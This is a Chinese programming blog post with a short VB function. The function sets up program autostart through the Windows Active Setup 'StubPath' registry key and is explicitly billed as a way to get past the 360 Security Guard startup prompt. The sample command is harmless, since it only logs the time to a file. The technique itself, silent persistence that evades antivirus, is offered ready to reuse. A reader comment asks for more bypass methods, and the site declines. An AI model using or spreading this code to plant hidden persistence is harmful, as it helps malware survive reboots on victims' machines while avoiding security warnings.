【VB技巧】VB ActiveX 启动方式[过360启动]

  • A+
所属分类:lcx

    VB ActiveX 过360安全卫士提示启动方式,VB ActiveX 过360安全卫士提示启动,VB ActiveX 过安全卫士提示启动方式,VB ActiveX 过安全卫士提示启动,VB ActiveX 过360提示启动方式,VB ActiveX 过360提示启动,VB ActiveX 过360提示,VB ActiveX 过360启动,VB ActiveX 启动方式,VB ActiveX 方式,VB ActiveX 启动,VB ActiveX,VB {A0XC6A98-A14C-J35H-46UD-F5AR862J2AH5},SoftwareMicrosoftActive SetupInstalled Components,CreateObject("Wscript.Shell").Regwrite,CreateObject("Wscript.Shell").RegDelete,VB ActiveXRun,"HKEY_LOCAL_MACHINE" & R & A & "StubPath", "Cmd.exe /c Echo %time%>>c:A.txt", "REG_SZ","HKEY_CURRENT_USER" & R & A & "",VB 添加ActiveX启动项,VB 添加ActiveX项,VB ActiveX启动项,VB ActiveX只启动一次。

VB ActiveX 过360安全卫士提示启动方式:

Public Function ActiveXRun()                                                    '添加ActiveX启动项。注意:需要启动时结束程序一次,否则电脑就会一直卡到启动画面!!!
    On Error Resume Next                                                        '只能强行容错,
    Dim A As String, R As String                                                '启动键值
    A = "{A0XC6A98-A14C-J35H-46UD-F5AR862J2AH5}"                                '启动键值
    R = "SoftwareMicrosoftActive SetupInstalled Components"                 '子注册表路径
    CreateObject("Wscript.Shell").Regwrite "HKEY_LOCAL_MACHINE" & R & A & "StubPath", "Cmd.exe /c Echo %time%>>c:A.txt", "REG_SZ" '添加/修改启动键值
    CreateObject("Wscript.Shell").RegDelete "HKEY_CURRENT_USER" & R & A & ""  '删除该项值,否则ActiveX只启动一次!
End Function

留言评论(旧系统):

zerovos @ 2012-12-24 20:00:28

特意找了个访问不多的文章,我想过360自启动,有没有好点的方法啊,可以说说吗?我没法联系你啊,我QQ 24001003

本站回复:

什么没法联系我,首页至少有三处标明了联系方式:http://lcx.cc/?i=1#lianxi
不参与讨论什么:免杀、刷钻、过360自启动之类的问题……

文章来源于lcx.cc:【VB技巧】VB ActiveX 启动方式[过360启动]

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: